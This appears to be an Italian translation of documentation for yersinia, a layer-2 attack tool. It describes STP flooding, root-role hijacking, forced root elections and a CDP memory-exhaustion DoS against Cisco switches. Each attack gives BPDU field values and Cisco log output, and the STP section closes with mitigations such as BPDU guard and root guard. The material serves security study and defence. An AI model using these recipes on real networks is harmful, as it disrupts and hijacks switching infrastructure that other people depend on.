tomac/yersiniaFramework di attacco di rete di livello 2 per sfruttare i protocolli STP e CDP, consentendo attacchi DoS, hijacking del ruolo root e attacchi di esaurimento della memoria su switch Cisco.
Inviamo alcune BPDU di configurazione dichiarandoci root!!! Inviando continuamente BPDU di configurazione con root pathcost 0, un
bridge ID generato casualmente (e quindi lo stesso root ID), e alcuni valori predefiniti per altri campi, proviamo a
infastidire gli switch vicini, causando un DoS quando tentano di analizzare e ricalcolare i loro motori STP.
Source MAC: generato casualmente.
Destination MAC: 01:80:c2:00:00:00
Bridge ID: 8000:source_mac
Root ID: 8000:source_mac
Hello time: 2
Forward delay: 15
Max age: 20
Root pathcost: 0
<output from the cisco log>
01:20:26: STP: VLAN0001 heard root 32768-d1bf.6d60.097b on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-9ac6.0f72.7118 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-85a3.3662.43dc on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-3d84.bc1c.918e on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b2e2.1a12.dbb4 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-4ba6.2d45.5844 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-deb0.4f14.7288 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-4879.8036.0e24 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-2776.e340.9222 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-299e.de76.c07d on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-d38b.bc5b.e90d on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-78ee.0205.afdb on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b32b.e969.81b1 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-b16b.c428.88a3 on Fa0/8
01:20:26: STP: VLAN0001 heard root 32768-dd01.1436.9044 on Fa0/8
</output>
Questo attacco invia continuamente BPDU TCN causando la risposta dello switch root con BPDU di configurazione che riconoscono il cambiamento.
Inoltre, lo switch root invierà notifiche di cambiamento di topologia ai membri dell'albero, che dovranno
ricalcolare il loro motore STP per apprendere il nuovo cambiamento.
Source MAC: generato casualmente.
Destination MAC: 01:80:c2:00:00:00
<output from the cisco log>
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8
</output>
Ora il nostro obiettivo è ottenere il ruolo di root dell'albero. Come possiamo raggiungere questo scopo? Basta ascoltare la rete
per scoprire quale sia il ruolo di root, e iniziare a inviare BPDU di configurazione con priorità inferiore per diventare root.
Source MAC: stesso della BPDU intercettata.
Destination MAC: stesso della BPDU intercettata.
Bridge ID: quello intercettato leggermente modificato per avere priorità inferiore
Root ID: 8000: stesso del bridge ID.
Hello time: stesso della BPDU intercettata.
Forward delay: stesso della BPDU intercettata.
Max age: stesso della BPDU intercettata.
Root pathcost: stesso della BPDU intercettata.
<output from the cisco log>
01:58:48: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/8
01:58:48: supersedes 32769-000e.84d5.2280
01:58:48: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/8, cost 19
</output>
Fingiamo di essere un altro strano switch che gioca con STP e inneggia al nostro root id :)
Inviando BPDU di configurazione con priorità decrementata automaticamente, possiamo causare infinite elezioni root nell'albero STP.
Sarebbe qualcosa di simile a un riconteggio dei voti dell'elezione per determinare il vincitore (ricordate la Florida?)
<output from the cisco log>
00:20:21: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
00:20:21: supersedes 32769-000e.84d5.2280
00:20:21: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
00:20:23: STP: VLAN0001 heard root 32769-000e.84d3.2280 on Fa0/9
00:20:23: supersedes 32769-000e.84d4.2280
00:20:23: STP: VLAN0001 new root is 32769, 000e.84d3.2280 on port Fa0/9, cost 19
00:20:25: STP: VLAN0001 heard root 32769-000e.84d2.2280 on Fa0/9
00:20:25: supersedes 32769-000e.84d3.2280
00:20:25: STP: VLAN0001 new root is 32769, 000e.84d2.2280 on port Fa0/9, cost 19
00:20:27: STP: VLAN0001 heard root 32769-000e.84d1.2280 on Fa0/9
00:20:27: supersedes 32769-000e.84d2.2280
00:20:27: STP: VLAN0001 new root is 32769, 000e.84d1.2280 on port Fa0/9, cost 19
00:20:29: STP: VLAN0001 heard root 32769-000e.84d0.2280 on Fa0/9
00:20:29: supersedes 32769-000e.84d1.2280
00:20:29: STP: VLAN0001 new root is 32769, 000e.84d0.2280 on port Fa0/9, cost 19
00:20:31: STP: VLAN0001 heard root 32769-000e.84cf.2280 on Fa0/9
00:20:31: supersedes 32769-000e.84d0.2280
00:20:31: STP: VLAN0001 new root is 32769, 000e.84cf.2280 on port Fa0/9, cost 19
00:20:33: STP: VLAN0001 heard root 32769-000e.84ce.2280 on Fa0/9
00:20:33: supersedes 32769-000e.84cf.2280
00:20:33: STP: VLAN0001 new root is 32769, 000e.84ce.2280 on port Fa0/9, cost 19
00:20:35: STP: VLAN0001 heard root 32769-000e.84cd.2280 on Fa0/9
00:20:35: supersedes 32769-000e.84ce.2280
00:20:35: STP: VLAN0001 new root is 32769, 000e.84cd.2280 on port Fa0/9, cost 19
00:20:37: STP: VLAN0001 heard root 32769-000e.84cc.2280 on Fa0/9
00:20:37: supersedes 32769-000e.84cd.2280
00:20:37: STP: VLAN0001 new root is 32769, 000e.84cc.2280 on port Fa0/9, cost 19
00:20:39: STP: VLAN0001 heard root 32769-000e.84cb.2280 on Fa0/9
00:20:39: supersedes 32769-000e.84cc.2280
00:20:39: STP: VLAN0001 new root is 32769, 000e.84cb.2280 on port Fa0/9, cost 19
</output>
Questa volta proviamo a esaurire il processo di elezione root. Riusciamo a diventare root nell'albero STP,
ma smettiamo di inviare BPDU di configurazione fino a quando non vengono raggiunti i secondi di max_age (di solito 20), forzando un nuovo
processo di elezione.
<output from the cisco log>
02:02:43: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
02:02:43: supersedes 32769-000e.84d5.2280
02:02:43: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
02:03:03: STP: VLAN0001 we are the spanning tree root
02:03:04: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
02:03:04: supersedes 32769-000e.84d5.2280
02:03:04: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
02:03:04: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:06: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:08: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:10: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:12: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:14: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:16: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:18: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:20: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:22: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:24: STP: VLAN0001 we are the spanning tree root
02:03:24: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9
02:03:24: supersedes 32769-000e.84d5.2280
02:03:24: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19
02:03:24: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:26: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:28: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:30: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:32: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:34: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:36: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:38: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:40: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:42: STP: VLAN0001 sent Topology Change Notice on Fa0/9
02:03:44: STP: VLAN0001 we are the spanning tree root
</output>
Utilizzare la sicurezza delle porte e disabilitare STP sulle porte che non richiedono STP. Per informazioni sulla sicurezza delle porte, consultare il seguente URL: http://www.cisco.com/en/US/products/hw/switches/ps628/products_configuration_guide_chapter09186a0080150bcd.html
Se si utilizza la funzione portfast nella configurazione STP, abilitare anche la protezione BPDU per evitare questi attacchi quando la porta entra automaticamente nello stato di forwarding: http://www.cisco.com/warp/public/473/65.html
Utilizzare la funzione root guard per evitare che dispositivi non autorizzati diventino root: http://www.cisco.com/en/US/tech/tk389/tk621/technologies_tech_note09186a00800ae96b.shtml
La bella tesi magistrale di Guillermo Marro: http://seclab.cs.ucdavis.edu/papers/Marro_masters_thesis.pdf
Oleg K. Artemjev, Vladislav V. Myasnyankin. Divertimento con il protocollo Spanning Tree http://phrack.org/issues/61/12.html
I dispositivi Cisco hanno sempre parlato un linguaggio diverso per comunicare tra loro, per dire a tutti che sono attivi e quali fantastiche funzionalità possiedono. CDP sta per Cisco Discovery Protocol. Attraverso questo linguaggio particolare, i dispositivi Cisco creano un mondo virtuale dove tutti sono felici e non c'è alcun crimine. O almeno così sembra, dato che molti amministratori di rete non sono ancora preoccupati per CDP. Sebbene alcune delle informazioni che possono essere inviate in un pacchetto CDP siano ancora non documentate (CDP è un protocollo proprietario e sembra che Cisco non voglia fornire dettagli), almeno un vecchio attacco (ancora valido) è noto, ed esiste un'implementazione pubblica (l'ha fatta FX!).
Questo attacco è un DoS che cerca di esaurire la memoria del dispositivo in modo che non possa allocare più memoria per nessun processo del dispositivo. Come possiamo farlo? Semplicemente inviando pacchetti CDP con dati falsi simulando veri dispositivi Cisco. Il dispositivo target inizierà ad allocare memoria nella sua tabella CDP per salvare le informazioni sui nuovi vicini, senza sapere che avrà migliaia o milioni di nuovi amici.
Un altro attacco implementato nel codice corrente è la capacità di creare un nuovo dispositivo Cisco virtuale designato solo per creare un po' di confusione, cercando di confondere gli amministratori di rete.
Screenshot dell'attacco in esecuzione:
Output di un router Cisco 2503:
athens#sh mem
Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
Processor 4873C 3893444 3893444 0 0 0
I/O 400000 2097152 2097088 64 64 64
<log>
%SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57).
-Process= "CDP Protocol", ipl= 6, pid= 9
-Traceback= 3159232 31594DE 3201660
%LANCE-5-COLL: Unit 0, excessive collisions. TDR=7
%SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57).
-Process= "CDP Protocol", ipl= 6, pid= 9
-Traceback= 3159232 31594DE 3201660
%SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 314E8A4 314FA06 3201B46 32016C8
%SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57).
-Process= "CDP Protocol", ipl= 6, pid= 9
-Traceback= 3159232 31594DE 3201660
%SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 314E8A4 314FA06 3201B46 32016C8
%SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 314E8A4 314FA06 3201B46 32016C8
</log>
E un paio di minuti dopo aver terminato l'attacco, il router si blocca sorprendentemente per diversi secondi, e poi ti caccia fuori dal terminale :)
<log>
%SYS-3-CPUHOG: Task ran for 16884 msec (69/69), Process = Exec, PC = 3158D42
-Traceback= 3158CEE 3158D4A 30F7330 30F742A 30FF3A4 30FEF76 30FEF1C 3116860
</log>
Output di uno switch Cisco 2950:
00:06:08: %SYS-2-MALLOCFAIL: Memory allocation of 224 bytes failed from 0x800118D0, alignment 0
Pool: Processor Free: 0 Cause: Not enough free memory
Alternate Pool: I/O Free: 32 Cause: Not enough free memory
-Process= "CDP Protocol", ipl= 0, pid= 26
-Traceback= 801DFC30 801E1DD8 800118D8 80011218 801D932C 801D9318
00:06:08: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:09: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:10: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:11: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:12: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:13: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:14: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:15: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:16: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:17: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:18: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:19: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:20: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:21: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:22: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:23: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:38: %SYS-2-MALLOCFAIL: Memory allocation of 140 bytes failed from 0x801E28BC, alignment 0
Pool: Processor Free: 0 Cause: Not enough free memory
Alternate Pool: I/O Free: 32 Cause: Not enough free memory
-Process= "Calhoun Statistics Process", ipl= 0, pid= 21
-Traceback= 801DFC30 801E1DD8 801E28C4 801F13BC 801F1470 802F7C90 802F9190 802F9788 801D932C 801D9318
00:06:38: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:39: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:40: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:41: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:42: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:44: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:45: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:46: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:47: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:48: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:49: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:50: ../src-calhoun/strata_stats.c at line 137: can't not push event list
00:06:59: %SYS-3-CPUHOG: Task ran for 2076 msec (11/10), process = Net Background, PC = 801ABD40.
-Traceback= 801ABD48 801D932C 801D9318
E poi, il processo CDP è completamente giù, anche quando fermiamo l'attacco. Niente più baby CDP...